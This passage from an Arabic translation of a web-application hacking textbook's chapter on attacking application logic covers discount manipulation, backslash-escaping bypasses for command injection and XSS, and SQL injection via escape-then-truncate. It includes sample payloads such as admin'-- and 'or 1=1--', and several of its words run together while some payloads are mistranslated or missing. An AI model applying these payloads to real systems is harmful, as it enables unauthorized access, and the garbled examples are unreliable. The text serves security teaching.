ﺑﺎﻟﺨﺼﻮﻣﺎﺕﺍﻟﻤﻄﺒﻘﺔ ﻋﻠﻰ ﺍﻟﻤﻨﺘﺠﺎﺕ ﺍﻟﻤﺘﺒﻘﻴﺔ.
ﺧﻄﻮﺍﺕﺍﻻﺧﺘﺮﺍﻕ
.١ﻓﻲ ﺃﻱ ﺣﺎﻟﺔ ﻳﺘﻢ ﻓﻴﻬﺎ ﺗﻌﺪﻳﻞ ﺍﻷﺳﻌﺎﺭ ﺃﻭ ﻏﻴﺮﻫﺎ ﻣﻦ ﺍﻟﻘﻴﻢ ﺍﻟﺤﺴﺎﺳﺔ ﺑﻨﺎء ًﻋﻠﻰ ﻣﻌﺎﻳﻴﺮ ﺗﺤُﺪﺩﻫﺎ
ﺑﻴﺎﻧﺎﺕﺃﻭ ﺇﺟﺮﺍءﺍﺕ ﺧﺎﺿﻌﺔ ﻟﺴﻴﻄﺮﺓ ﺍﻟﻤﺴﺘﺨﺪﻡ ،ﻳﺠﺐ ﺃﻭﻻ ًﻓﻬﻢ ﺍﻟﺨﻮﺍﺭﺯﻣﻴﺎﺕ ﺍﻟﺘﻲ
ﻳﺴﺘﺨﺪﻣﻬﺎﺍﻟﺘﻄﺒﻴﻖ ﻭﺍﻟﻨﻘﻄﺔ ﺍﻟﺘﻲ ﺗﺠُﺮﻯ ﻓﻴﻬﺎ ﺍﻟﺘﻌﺪﻳﻼﺕ ﺿﻤﻦ ﻣﻨﻄﻘﻪ .ﺣﺪﺩ ﻣﺎ ﺇﺫﺍ ﻛﺎﻧﺖ
ﻫﺬﻩﺍﻟﺘﻌﺪﻳﻼﺕ ﺗﺠُﺮﻯ ﻟﻤﺮﺓ ﻭﺍﺣﺪﺓ ﻓﻘﻂ ،ﺃﻭ ﻣﺎ ﺇﺫﺍ ﻛﺎﻧﺖ ﺗﺮُﺍﺟﻊ ﺍﺳﺘﺠﺎﺑﺔ ًﻹﺟﺮﺍءﺍﺕ ﺃﺧﺮﻯ ﻳﻘﻮﻡ
ﺑﻬﺎﺍﻟﻤﺴﺘﺨﺪﻡ.
.٢ﻓﻜﺮّ ﺑﺨﻴﺎﻝ .ﺣﺎﻭﻝ ﺇﻳﺠﺎﺩ ﻃﺮﻳﻘﺔ ﻟﻠﺘﻼﻋﺐ ﺑﺴﻠﻮﻙ ﺍﻟﺘﻄﺒﻴﻖ ﻟﺠﻌﻠﻪ ﻻ ﻳﺘﻮﺍﻓﻖ ﻣﻊ ﺍﻟﻤﻌﺎﻳﻴﺮ
ﺍﻷﺻﻠﻴﺔﺍﻟﺘﻲ ﻭﺿﻌﻬﺎ ﻣﺼﻤﻤﻮﻩ .ﻓﻲ ﺃﻭﺿﺢ ﺍﻟﺤﺎﻻﺕ ،ﻛﻤﺎ ﻫﻮ ﻣﻮﺿﺢ ﺳﺎﺑﻘﺎً ،ﻗﺪ ﻳﺘﻀﻤﻦ
ﻫﺬﺍﺑﺒﺴﺎﻃﺔ ﺇﺯﺍﻟﺔ ﺑﻌﺾ ﺍﻟﻤﻨﺘﺠﺎﺕ ﻣﻦ ﺳﻠﺔ ﺍﻟﺘﺴﻮﻕ ﺑﻌﺪ ﺗﻄﺒﻴﻖ ﺍﻟﺨﺼﻢ!
419 ﺍﻟﻔﺼﻞﺍﻟﺤﺎﺩﻱ ﻋﺸﺮ-ﻣﻬﺎﺟﻤﺔ ﻣﻨﻄﻖ ﺍﻟﺘﻄﺒﻴﻖ
ﺍﻟﻮﻇﻴﻔﺔ
ﻗﺮﺭﻣﺼﻤﻤﻮ ﺍﻟﺘﻄﺒﻴﻖ ﺗﻄﺒﻴﻖ ﻭﻇﻴﻔﺔ ﺗﺘﻀﻤﻦ ﺗﻤﺮﻳﺮ ﻣﺪُﺧﻼﺕ ﻗﺎﺑﻠﺔ ﻟﻠﺘﺤﻜﻢ ﻣﻦ ﻗﺒِﻞ ﺍﻟﻤﺴﺘﺨﺪﻡ
ﻛﻤﻌُﺎﻣﻞﻷﻣﺮ ﻧﻈﺎﻡ ﺍﻟﺘﺸﻐﻴﻞ .ﺃﺩﺭﻙ ﻣﻄﻮﺭﻭ ﺍﻟﺘﻄﺒﻴﻖ ﺍﻟﻤﺨﺎﻃﺮ ﺍﻟﻜﺎﻣﻨﺔ ﻓﻲ ﻫﺬﺍ ﺍﻟﻨﻮﻉ ﻣﻦ ﺍﻟﻌﻤﻠﻴﺎﺕ )
ﺍﻧﻈﺮﺍﻟﻔﺼﻞ ،(9ﻭﻗﺮﺭﻭﺍ ﺍﻟﺘﺼﺪﻱ ﻟﻬﺎ ﺑﺘﻄﻬﻴﺮ ﺃﻱ ﺃﺣﺮﻑ ﻗﺪ ﺗﻜﻮﻥ ﺿﺎﺭﺓ ﺿﻤﻦ ﻣﺪُﺧﻼﺕ ﺍﻟﻤﺴﺘﺨﺪﻡ.
ﺳﻴﺘﻢﺗﺠﺎﻭﺯ ﺃﻱ ﻣﻤﺎ ﻳﻠﻲ ﺑﺎﺳﺘﺨﺪﺍﻡ ﺍﻟﺸﺮﻃﺔ ﺍﻟﻤﺎﺉﻠﺔ ﺍﻟﻌﻜﺴﻴﺔ:
ﺍﻻﻓﺘﺮﺍﺽ
ﻛﺎﻥﺍﻟﻤﻄﻮﺭﻭﻥ ﻋﻠﻰ ﻳﻘﻴﻦ ﻣﻦ ﺃﻧﻬﻢ ﺍﺑﺘﻜﺮﻭﺍ ﺩﻓﺎﻋﺎً ﻗﻮﻳﺎً ﺿﺪ ﻫﺠﻤﺎﺕ ﺣﻘﻦ ﺍﻷﻭﺍﻣﺮ .ﻓﻜﺮّﻭﺍ ﻣﻠﻴﺎً ﻓﻲ
ﻛﻞﺷﺨﺼﻴﺔ ﻣﺤﺘﻤﻠﺔ ﻗﺪ ﺗﺴﺎﻋﺪ ﺍﻟﻤﻬﺎﺟﻢ ،ﻭﺗﺄﻛﺪﻭﺍ ﻣﻦ ﻧﺠﺎﺗﻬﺎ ﺟﻤﻴﻌﺎً ﺑﺸﻜﻞ ﺻﺤﻴﺢ ،ﻭﺑﺎﻟﺘﺎﻟﻲ
ﺗﺄﻣﻴﻨﻬﺎ.
ﺍﻟﻬﺠﻮﻡ
ﻟﻘﺪﻧﺴﻲ ﺍﻟﻤﻄﻮﺭﻭﻥ ﺍﻟﻬﺮﻭﺏ ﻣﻦ ﺷﺨﺼﻴﺔ ﺍﻟﻬﺮﻭﺏ ﻧﻔﺴﻬﺎ.
ﻋﺎﺩﺓ ًﻣﺎ ﻻ ﻳﻜﻮﻥ ﻟﻌﻼﻣﺔ ﺍﻟﺸﺮﻃﺔ ﺍﻟﻤﺎﺉﻠﺔ ﺍﻟﻌﻜﺴﻴﺔ ﻓﺎﺉﺪﺓ ﻣﺒﺎﺷﺮﺓ ﻟﻠﻤﻬﺎﺟﻢ ﻋﻨﺪ ﺍﺳﺘﻐﻼﻝ ﺧﻠﻞ
ﺑﺴﻴﻂﻓﻲ ﺣﻘﻦ ﺍﻷﻭﺍﻣﺮ .ﻟﺬﻟﻚ ،ﻟﻢ ﻳﺼﻨﻔﻬﺎ ﺍﻟﻤﻄﻮﺭﻭﻥ ﻋﻠﻰ ﺃﻧﻬﺎ ﺿﺎﺭﺓ ﻣﺤﺘﻤﻠﺔ .ﻭﻣﻊ ﺫﻟﻚ ،ﻓﺈﻥ
ﻓﺸﻠﻬﻢﻓﻲ ﺗﺠﺎﻭﺯﻫﺎ ،ﻭﻓﺮّﻭﺍ ﻟﻠﻤﻬﺎﺟﻢ ﻭﺳﻴﻠﺔ ًﻟﺘﻌﻄﻴﻞ ﺁﻟﻴﺔ ﺍﻟﺘﻄﻬﻴﺮ ﺍﻟﺨﺎﺻﺔ ﺑﻬﻢ.
ﻳﻘﻮﻡﺍﻟﺘﻄﺒﻴﻖ ﺑﺘﻄﺒﻴﻖ ﺍﻟﻬﺮﻭﺏ ﺍﻟﻤﻨﺎﺳﺐ ،ﻛﻤﺎ ﻫﻮ ﻣﻮﺿﺢ ﺳﺎﺑﻘﺎً ،ﻭﺑﺎﻟﺘﺎﻟﻲ ﻳﺼﺒﺢ ﺇﺩﺧﺎﻝ
ﺍﻟﻤﻬﺎﺟﻢﻫﻮ:
ﺍﻟﺤﻤﻘﻰ
ﻋﻨﺪﺗﻤﺮﻳﺮ ﻫﺬﻩ ﺍﻟﺒﻴﺎﻧﺎﺕ ﻛﻤﻌُﺎﻣﻠﺔ ﻷﻣﺮ ﻧﻈﺎﻡ ﺍﻟﺘﺸﻐﻴﻞ ،ﻳﻌُﺎﻣﻞ ﻣﻔُﺴﺮّ shellﺍﻟﺸﺮﻃﺔ ﺍﻟﻤﺎﺉﻠﺔ
ﺍﻟﻌﻜﺴﻴﺔﺍﻷﻭﻟﻰ ﻛﺤﺮﻑ ﺇﻓﻼﺕ .ﻟﺬﻟﻚ ،ﻳﻌُﺎﻣﻞ ﺍﻟﺸﺮﻃﺔ ﺍﻟﻤﺎﺉﻠﺔ ﺍﻟﻌﻜﺴﻴﺔ ﺍﻟﺜﺎﻧﻴﺔ ﻛﺤﺮﻑ ﺇﻓﻼﺕ
ﺣﺮﻓﻲ -ﻟﻴﺲ ﻛﺤﺮﻑ ﺇﻓﻼﺕ ،ﺑﻞ ﻛﺠﺰء ﻣﻦ ﺍﻟﻤﻌُﺎﻣﻠﺔ ﻧﻔﺴﻬﺎ .ﺛﻢ ﻳﺼُﺎﺩﻑ ﻓﺎﺻﻠﺔ ﻣﻨﻘﻮﻃﺔ ﻳﺒﺪﻭ ﺃﻧﻬﺎ
ﻟﻢﺗﻔُﺮﻍّ .ﻳﻌُﺎﻣﻠﻬﺎ ﻛﻔﺎﺻﻞ ﺃﻭﺍﻣﺮ ،ﻭﺑﺎﻟﺘﺎﻟﻲ ﻳﻨُﻔﺬّ ﺍﻷﻣﺮ ﺍﻟﻤﺤُﻘﻦ ﺍﻟﺬﻱ ﺯﻭﺩّﻩ ﺍﻟﻤﻬُﺎﺟﻢ.
ﺍﻟﻔﺼﻞﺍﻟﺤﺎﺩﻱ ﻋﺸﺮ-ﻣﻬﺎﺟﻤﺔ ﻣﻨﻄﻖ ﺍﻟﺘﻄﺒﻴﻖ 420
ﺧﻄﻮﺍﺕﺍﻻﺧﺘﺮﺍﻕ
ﻋﻨﺪﻣﺎﺗﻔﺤﺺ ﺗﻄﺒﻴﻘﺎً ﺑﺤﺜﺎً ﻋﻦ ﺣﻘﻦ ﺍﻷﻭﺍﻣﺮ ﻭﺍﻟﻌﻴﻮﺏ ﺍﻷﺧﺮﻯ ،ﺑﻌﺪ ﻣﺤﺎﻭﻟﺔ ﺇﺩﺭﺍﺝ ﺍﻷﺣﺮﻑ ﺍﻟﺘﻌﺮﻳﻔﻴﺔ
ﺫﺍﺕﺍﻟﺼﻠﺔ ﻓﻲ ﺍﻟﺒﻴﺎﻧﺎﺕ ﺍﻟﺘﻲ ﺗﺘﺤﻜﻢ ﻓﻴﻬﺎ ،ﺣﺎﻭﻝ ﺩﺍﺉﻤﺎً ﻭﺿﻊ ﺷﺮﻃﺔ ﻣﺎﺉﻠﺔ ﻟﻠﺨﻠﻒ ﻣﺒﺎﺷﺮﺓ ﻗﺒﻞ
ﻛﻞﺣﺮﻑ ﻣﻦ ﻫﺬﻩ ﺍﻷﺣﺮﻑ ﻟـ
ﺍﺧﺘﺒﺎﺭﺍﻟﺨﻠﻞ ﺍﻟﻤﻨﻄﻘﻲ ﺍﻟﻤﻮﺻﻮﻑ ﻟﻠﺘﻮ.
ﻣﻠﺤﻮﻇﺔﻳﻤﻜﻦ ﺍﻟﻌﺜﻮﺭ ﻋﻠﻰ ﻫﺬﺍ ﺍﻟﺨﻠﻞ ﻧﻔﺴﻪ ﻓﻲ ﺑﻌﺾ ﻭﺳﺎﺉﻞ ﺍﻟﺪﻓﺎﻉ ﺿﺪ ﻫﺠﻤﺎﺕ ﺍﻟﺒﺮﻣﺠﺔ
ﺍﻟﻨﺼﻴﺔﻋﺒﺮ ﺍﻟﻤﻮﺍﻗﻊ )ﺍﻧﻈﺮ ﺍﻟﻔﺼﻞ .(12ﻋﻨﺪ ﻧﺴﺦ ﻣﺪﺧﻼﺕ ﺍﻟﻤﺴﺘﺨﺪﻡ ﻣﺒﺎﺷﺮﺓ ًﺇﻟﻰ ﻗﻴﻤﺔ ﻣﺘﻐﻴﺮ
ﺳﻠﺴﻠﺔﻧﺼﻴﺔ ﻓﻲ ﺟﺰء ﻣﻦ ﺟﺎﻓﺎ ﺳﻜﺮﻳﺒﺖ ،ﺗﻐُﻠﻒّ ﻫﺬﻩ ﺍﻟﻘﻴﻤﺔ ﺑﻴﻦ ﻋﻼﻣﺘﻲ ﺍﻗﺘﺒﺎﺱ .ﻟﻠﺪﻓﺎﻉ ﻋﻦ
ﻧﻔﺴﻬﺎﺿﺪ ﺍﻟﺒﺮﻣﺠﺔ ﺍﻟﻨﺼﻴﺔ ﻋﺒﺮ ﺍﻟﻤﻮﺍﻗﻊ ،ﺗﺴﺘﺨﺪﻡ ﺍﻟﻌﺪﻳﺪ ﻣﻦ ﺍﻟﺘﻄﺒﻴﻘﺎﺕ ﺍﻟﺸﺮﻃﺔ ﺍﻟﻤﺎﺉﻠﺔ
ﺍﻟﻌﻜﺴﻴﺔﻟﺘﺠﻨﺐ ﺃﻱ ﻋﻼﻣﺎﺕ ﺍﻗﺘﺒﺎﺱ ﺗﻈﻬﺮ ﺿﻤﻦ ﻣﺪﺧﻼﺕ ﺍﻟﻤﺴﺘﺨﺪﻡ .ﻭﻣﻊ ﺫﻟﻚ ،ﺇﺫﺍ ﻟﻢ ﻳﺘﻢ
ﺗﺠﻨﺐﺣﺮﻑ ﺍﻟﺸﺮﻃﺔ ﺍﻟﻤﺎﺉﻠﺔ ﺍﻟﻌﻜﺴﻴﺔ ﻧﻔﺴﻪ ،ﻳﻤﻜﻦ ﻟﻠﻤﻬﺎﺟﻢ ﺇﺭﺳﺎﻝ\'ﻟﻠﺨﺮﻭﺝ ﻣﻦ ﺍﻟﺴﻠﺴﻠﺔ
ﻭﺍﻟﺘﺤﻜﻢﻓﻲ ﺍﻟﻨﺺ .ﻭﺟُﺪ ﻫﺬﺍ ﺍﻟﺨﻄﺄ ﺗﺤﺪﻳﺪﺍً ﻓﻲ ﺍﻹﺻﺪﺍﺭﺍﺕ ﺍﻟﻤﺒﻜﺮﺓ ﻣﻦ ﺇﻃﺎﺭ ﻋﻤﻞ Ruby On Rails
ﻓﻲﺍﻟﻬﺮﻭﺏ_ﺟﺎﻓﺎ ﺳﻜﺮﻳﺒﺖﻭﻇﻴﻔﺔ.
ﺍﻟﻮﻇﻴﻔﺔ
ﺍﺣﺘﻮﻯﺍﻟﺘﻄﺒﻴﻖ ﻋﻠﻰ ﻣﺠﻤﻮﻋﺔ ﻣﻦ ﺇﺟﺮﺍءﺍﺕ ﺍﻟﺘﺤﻘﻖ ﻣﻦ ﺻﺤﺔ ﺍﻟﻤﺪﺧﻼﺕ ﻟﻠﺤﻤﺎﻳﺔ ﻣﻦ ﺃﻧﻮﺍﻉ
ﻣﺨﺘﻠﻔﺔﻣﻦ ﺍﻟﻬﺠﻤﺎﺕ .ﻣﻦ ﺑﻴﻦ ﺁﻟﻴﺎﺕ ﺍﻟﺤﻤﺎﻳﺔ ﻫﺬﻩ ،ﻣﺮﺷﺢ ﺣﻘﻦ SQLﻭﻣﺤﺪﺩ ﺍﻟﻄﻮﻝ.
ﻣﻦﺍﻟﺸﺎﺉﻊ ﺃﻥ ﺗﺤﺎﻭﻝ ﺍﻟﺘﻄﺒﻴﻘﺎﺕ ﺣﻤﺎﻳﺔ ﻧﻔﺴﻬﺎ ﻣﻦ ﺣﻘﻦ SQLﻋﻦ ﻃﺮﻳﻖ ﺗﺠﺎﻭﺯ ﺃﻱ ﻋﻼﻣﺎﺕ
ﺍﻗﺘﺒﺎﺱﻣﻔﺮﺩﺓ ﺗﻈﻬﺮ ﺿﻤﻦ ﻣﺪﺧﻼﺕ ﺍﻟﻤﺴﺘﺨﺪﻡ ﺍﻟﻨﺼﻴﺔ )ﻭﺭﻓﺾ ﺃﻱ ﻋﻼﻣﺎﺕ ﺍﻗﺘﺒﺎﺱ ﺗﻈﻬﺮ ﺿﻤﻦ
ﺍﻟﻤﺪﺧﻼﺕﺍﻟﺮﻗﻤﻴﺔ( .ﻛﻤﺎ ﻫﻮ ﻣﻮﺿﺢ ﻓﻲ ﺍﻟﻔﺼﻞ ،9ﺗﺸُﻜﻞ ﻋﻼﻣﺘﺎ ﺍﻗﺘﺒﺎﺱ ﻣﻔﺮﺩﺗﺎﻥ ﻣﻌﺎً ﺗﺴﻠﺴﻼً
ﻟﻺﻓﻼﺕﻳﻤﺜﻞ ﻋﻼﻣﺔ ﺍﻗﺘﺒﺎﺱ ﻣﻔﺮﺩﺓ ﺣﺮﻓﻴﺔ ﻭﺍﺣﺪﺓ ،ﻭﺍﻟﺘﻲ ﺗﻔﺴﺮﻫﺎ ﻗﺎﻋﺪﺓ ﺍﻟﺒﻴﺎﻧﺎﺕ ﻋﻠﻰ ﺃﻧﻬﺎ ﺑﻴﺎﻧﺎﺕ
ﺿﻤﻦﺳﻠﺴﻠﺔ ﻧﺼﻴﺔ ﻣﻘﺘﺒﺴﺔ ﺑﺪﻻ ًﻣﻦ ﻋﻼﻣﺔ ﻧﻬﺎﻳﺔ ﺍﻟﺴﻠﺴﻠﺔ .ﻟﺬﻟﻚ ،ﻳﻌﺘﻘﺪ ﺍﻟﻌﺪﻳﺪ ﻣﻦ ﺍﻟﻤﻄﻮﺭﻳﻦ
ﺃﻥﻣﻀﺎﻋﻔﺔ ﺃﻱ ﻋﻼﻣﺎﺕ ﺍﻗﺘﺒﺎﺱ ﻣﻔﺮﺩﺓ ﺿﻤﻦ ﺍﻟﻤﺪﺧﻼﺕ ﺍﻟﺘﻲ ﻳﻘﺪﻣﻬﺎ ﺍﻟﻤﺴﺘﺨﺪﻡ ﺳﻴﻤﻨﻊ ﺣﺪﻭﺙ
ﺃﻱﻫﺠﻤﺎﺕ ﺣﻘﻦ .SQL
ﻃﺒُﻖِّﻣﺤُﺪﺩِّ ﺍﻟﻄﻮﻝ ﻋﻠﻰ ﺟﻤﻴﻊ ﺍﻟﻤﺪُﺧﻼﺕ ،ﻟﻀﻤﺎﻥ ﻋﺪﻡ ﺗﺠﺎﻭﺯ ﺃﻱ ﻣﺘُﻐﻴﺮ ﻳﻘُﺪﻣِّﻪ ﺍﻟﻤﺴﺘﺨﺪﻡ 128
ﺣﺮﻓﺎً.ﻭﻗﺪ ﺗﻢ ﺗﺤﻘﻴﻖ ﺫﻟﻚ ﺑﺘﻘﻠﻴﺺ ﺟﻤﻴﻊ ﺍﻟﻤﺘُﻐﻴﺮﺍﺕ ﺇﻟﻰ 128ﺣﺮﻓﺎً.
ﺍﻻﻓﺘﺮﺍﺽ
ﻛﺎﻥﻣﻦ ﺍﻟﻤﻔﺘﺮﺽ ﺃﻥ ﻳﻜﻮﻥ ﻛﻞ ﻣﻦ ﻣﺮﺷﺢ ﺣﻘﻦ SQLﻭﺗﻘﻠﻴﺺ ﺍﻟﻄﻮﻝ ﺩﻓﺎﻋﺎﺕ ﻣﺮﻏﻮﺑﺔ ﻣﻦ ﻭﺟﻬﺔ
ﻧﻈﺮﺃﻣﻨﻴﺔ ،ﻟﺬﺍ ﻳﺠﺐ ﺗﻄﺒﻴﻖ ﻛﻠﻴﻬﻤﺎ.
421 ﺍﻟﻔﺼﻞﺍﻟﺤﺎﺩﻱ ﻋﺸﺮ-ﻣﻬﺎﺟﻤﺔ ﻣﻨﻄﻖ ﺍﻟﺘﻄﺒﻴﻖ
ﺍﻟﻬﺠﻮﻡ
ﻳﻌﻤﻞﺩﻓﺎﻉ ﺣﻘﻦ SQLﻋﻦ ﻃﺮﻳﻖ ﻣﻀﺎﻋﻔﺔ ﺃﻱ ﻋﻼﻣﺎﺕ ﺍﻗﺘﺒﺎﺱ ﺗﻈﻬﺮ ﺿﻤﻦ ﻣﺪُﺧﻼﺕ ﺍﻟﻤﺴﺘﺨﺪﻡ،
ﺑﺤﻴﺚﻳﻜﻮﻥ ﺍﻻﻗﺘﺒﺎﺱ ﺍﻷﻭﻝ ﻓﻲ ﻛﻞ ﺯﻭﺝ ﻣﻦ ﻋﻼﻣﺎﺕ ﺍﻻﻗﺘﺒﺎﺱ ﺑﻤﺜﺎﺑﺔ ﺣﺮﻑ ﻫﺮﻭﺏ ﻟﻠﺜﺎﻧﻲ .ﻣﻊ
ﺫﻟﻚ،ﻟﻢ ﻳﻔُﻜﺮ ﺍﻟﻤﻄﻮﺭﻭﻥ ﻓﻲ ﻣﺼﻴﺮ ﺍﻟﻤﺪُﺧﻼﺕ ﺍﻟﻤﻨُﻘﺎّﺓ ﺇﺫﺍ ﺗﻢ ﺗﺴﻠﻴﻤﻬﺎ ﺑﻌﺪ ﺫﻟﻚ ﺇﻟﻰ ﺩﺍﻟﺔ ﺍﻻﺧﺘﺼﺎﺭ.
ﺗﺬﻛﺮﻣﺜﺎﻝ ﺣﻘﻦ SQLﻓﻲ ﺩﺍﻟﺔ ﺗﺴﺠﻴﻞ ﺍﻟﺪﺧﻮﻝ ﻓﻲ ﺍﻟﻔﺼﻞ .9ﻟﻨﻔﺘﺮﺽ ﺃﻥ ﺍﻟﺘﻄﺒﻴﻖ ﻳﻀﺎﻋﻒ
ﺃﻱﻋﻼﻣﺎﺕ ﺍﻗﺘﺒﺎﺱ ﻣﻔﺮﺩﺓ ﻣﻮﺟﻮﺩﺓ ﻓﻲ ﻣﺪﺧﻼﺕ ﺍﻟﻤﺴﺘﺨﺪﻡ ،ﺛﻢ ﻳﻔﺮﺽ ﺣﺪﺍً ﺃﻗﺼﻰ ﻟﻄﻮﻝ
ﺍﻟﺒﻴﺎﻧﺎﺕ،ﻭﻳﺨﺘﺼﺮﻫﺎ ﺇﻟﻰ 128ﺣﺮﻓﺎً .ﺑﺈﺩﺧﺎﻝ ﺍﺳﻢ ﺍﻟﻤﺴﺘﺨﺪﻡ ﻫﺬﺍ:
ﻣﺴﺆﻝ'--
ﻭﻣﻊﺫﻟﻚ ،ﺇﺫﺍ ﻗﻤﺖ ﺑﺈﺭﺳﺎﻝ ﺍﺳﻢ ﺍﻟﻤﺴﺘﺨﺪﻡ ﺍﻟﺘﺎﻟﻲ )ﻳﺤﺘﻮﻱ ﻋﻠﻰ 127ﺣﺮﻓﺎً ﻣﺘﺒﻮﻋﺎً ﺑﻌﻼﻣﺔ
ﺍﻗﺘﺒﺎﺱﻭﺍﺣﺪﺓ(:
ﺁﺁﺁﺁﺁ][...ﺁﺁﺁﺁﺁﺁﺁﺁ
ﻳﻘﻮﻡﺍﻟﺘﻄﺒﻴﻖ ﺃﻭﻻ ًﺑﻤﻀﺎﻋﻔﺔ ﻋﻼﻣﺔ ﺍﻻﻗﺘﺒﺎﺱ ﺍﻟﻤﻔﺮﺩﺓ ،ﺛﻢ ﻳﺨﺘﺼﺮ ﺍﻟﺴﻠﺴﻠﺔ ﺇﻟﻰ 128ﺣﺮﻓﺎً ،ﻣﻤﺎ
ﻳﻌﻴﺪﺇﺩﺧﺎﻟﻚ ﺇﻟﻰ ﻗﻴﻤﺘﻪ ﺍﻷﺻﻠﻴﺔ .ﻳﺆﺩﻱ ﻫﺬﺍ ﺇﻟﻰ ﺧﻄﺄ ﻓﻲ ﻗﺎﻋﺪﺓ ﺍﻟﺒﻴﺎﻧﺎﺕ ،ﻷﻧﻚ ﺃﺩﺧﻠﺖ ﻋﻼﻣﺔ
ﺍﻗﺘﺒﺎﺱﻣﻔﺮﺩﺓ ﺇﺿﺎﻓﻴﺔ ﻓﻲ ﺍﻻﺳﺘﻌﻼﻡ ﺩﻭﻥ ﺗﺼﺤﻴﺢ ﺍﻟﺒﻨﻴﺔ ﺍﻟﻨﺤﻮﻳﺔ ﺍﻟﻤﺤﻴﻄﺔ .ﺇﺫﺍ ﺃﺩﺧﻠﺖ ﺍﻵﻥ ﻛﻠﻤﺔ
ﺍﻟﻤﺮﻭﺭﺃﻳﻀﺎً:
ﺃﻭ--1=1
ﺗﻔُﺴﺮَّﻋﻼﻣﺔ ﺍﻻﻗﺘﺒﺎﺱ ﺍﻟﻤﺰﺩﻭﺟﺔ ﻓﻲ ﻧﻬﺎﻳﺔ ﺳﻠﺴﻠﺔ ﺍﻷﺣﺮﻑ aﻋﻠﻰ ﺃﻧﻬﺎ ﻋﻼﻣﺔ ﺍﻗﺘﺒﺎﺱ ﻣﻔُﻠﺘﺔ،
ﻭﺑﺎﻟﺘﺎﻟﻲ،ﺗﻌُﺘﺒﺮ ﺟﺰءﺍً ﻣﻦ ﺑﻴﺎﻧﺎﺕ ﺍﻻﺳﺘﻌﻼﻡ .ﺗﺴﺘﻤﺮ ﻫﺬﻩ ﺍﻟﺴﻠﺴﻠﺔ ﻓﻌﻠﻴﺎً ﺣﺘﻰ ﻋﻼﻣﺔ ﺍﻻﻗﺘﺒﺎﺱ
ﺍﻟﻤﻔﺮﺩﺓﺍﻟﺘﺎﻟﻴﺔ ،ﻭﺍﻟﺘﻲ ﻛﺎﻧﺖ ﺗﺸُﻴﺮ ﻓﻲ ﺍﻻﺳﺘﻌﻼﻡ ﺍﻷﺻﻠﻲ ﺇﻟﻰ ﺑﺪﺍﻳﺔ ﻗﻴﻤﺔ ﻛﻠﻤﺔ ﺍﻟﻤﺮﻭﺭ ﺍﻟﺘﻲ ﺃﺩﺧﻠﻬﺎ
ﺍﻟﻤﺴﺘﺨﺪﻡ.ﻭﺑﺎﻟﺘﺎﻟﻲ ،ﻓﺈﻥ ﺍﺳﻢ ﺍﻟﻤﺴﺘﺨﺪﻡ ﺍﻟﻔﻌﻠﻲ ﺍﻟﺬﻱ ﺗﻔﻬﻤﻪ ﻗﺎﻋﺪﺓ ﺍﻟﺒﻴﺎﻧﺎﺕ ﻫﻮ ﺑﻴﺎﻧﺎﺕ
ﺍﻟﺴﻠﺴﻠﺔﺍﻟﺤﺮﻓﻴﺔ ﺍﻟﻤﻮﺿﺤﺔ ﻫﻨﺎ:
ﺁﺁﺁﺁﺁ][...ﺁﺁﺁﺁﺁﺁﺁ'ﻭﻛﻠﻤﺔ ﺍﻟﻤﺮﻭﺭ =
ﻭﻣﻦﺛﻢ ،ﻓﺈﻥ ﻛﻞ ﻣﺎ ﻳﺄﺗﻲ ﺑﻌﺪ ﺫﻟﻚ ﻳﺘﻢ ﺗﻔﺴﻴﺮﻩ ﺑﺎﻋﺘﺒﺎﺭﻩ ﺟﺰءﺍً ﻣﻦ ﺍﻻﺳﺘﻌﻼﻡ ﻧﻔﺴﻪ ﻭﻳﻤﻜﻦ
ﺻﻴﺎﻏﺘﻪﻟﻠﺘﺪﺧﻞ ﻓﻲ ﻣﻨﻄﻖ ﺍﻻﺳﺘﻌﻼﻡ.
ﺍﻟﻔﺼﻞﺍﻟﺤﺎﺩﻱ ﻋﺸﺮ-ﻣﻬﺎﺟﻤﺔ ﻣﻨﻄﻖ ﺍﻟﺘﻄﺒﻴﻖ 422
ﻧﺼﻴﺤﺔﻳﻤﻜﻨﻚ ﺍﺧﺘﺒﺎﺭ ﻫﺬﺍ ﺍﻟﻨﻮﻉ ﻣﻦ ﺍﻟﺜﻐﺮﺍﺕ ﺍﻷﻣﻨﻴﺔ ﺩﻭﻥ ﻣﻌﺮﻓﺔ ﺣﺪ ﺍﻟﻄﻮﻝ ﺍﻟﻤﻔﺮﻭﺽ ﻋﻠﻰ ﻭﺟﻪ
ﺍﻟﺘﺤﺪﻳﺪﻋﻦ ﻃﺮﻳﻖ ﺇﺭﺳﺎﻝ ﺳﻠﺴﻠﺘﻴﻦ ﻃﻮﻳﻠﺘﻴﻦ ﺑﺎﻟﺘﻨﺎﻭﺏ ﻣﻦ ﺍﻟﻨﻤﻮﺫﺝ ﺍﻟﺘﺎﻟﻲ:
''''''''''''''''''''''''''''''''''''''''ﻭﻫﻜﺬﺍ ﺩﻭﺍﻟﻴﻚ
ﺃ''''''''''''''''''''''''''''''''''''''''''''''ﻭﻫﻜﺬﺍ ﺩﻭﺍﻟﻴﻚ
ﻭﺗﺤﺪﻳﺪﻣﺎ ﺇﺫﺍ ﻛﺎﻥ ﻫﻨﺎﻙ ﺧﻄﺄ .ﺃﻱ ﺍﻗﺘﻄﺎﻉ ﻟﻠﻤﺪﺧﻼﺕ ﺍﻟﻤﻬُﺮﺑَّﺔ ﺳﻴﺤﺪﺙ ﺑﻌﺪ ﻋﺪﺩ ﺯﻭﺟﻲ ﺃﻭ ﻓﺮﺩﻱ
ﻣﻦﺍﻷﺣﺮﻑ .ﺃﻳﺎً ﻛﺎﻥ ﺍﻻﺣﺘﻤﺎﻝ ،ﺳﻴﺆﺩﻱ ﺃﺣﺪ ﺍﻟﺴﻼﺳﻞ ﺍﻟﺴﺎﺑﻘﺔ ﺇﻟﻰ ﺇﺩﺭﺍﺝ ﻋﺪﺩ ﻓﺮﺩﻱ ﻣﻦ ﻋﻼﻣﺎﺕ
ﺍﻻﻗﺘﺒﺎﺱﺍﻟﻤﻔﺮﺩﺓ ﻓﻲ ﺍﻻﺳﺘﻌﻼﻡ ،ﻣﻤﺎ ﻳﻨﺘﺞ ﻋﻨﻪ ﺑﻨﺎء ﺟﻤﻠﺔ ﻏﻴﺮ ﺻﺤﻴﺢ.
ﺧﻄﻮﺍﺕﺍﻻﺧﺘﺮﺍﻕ
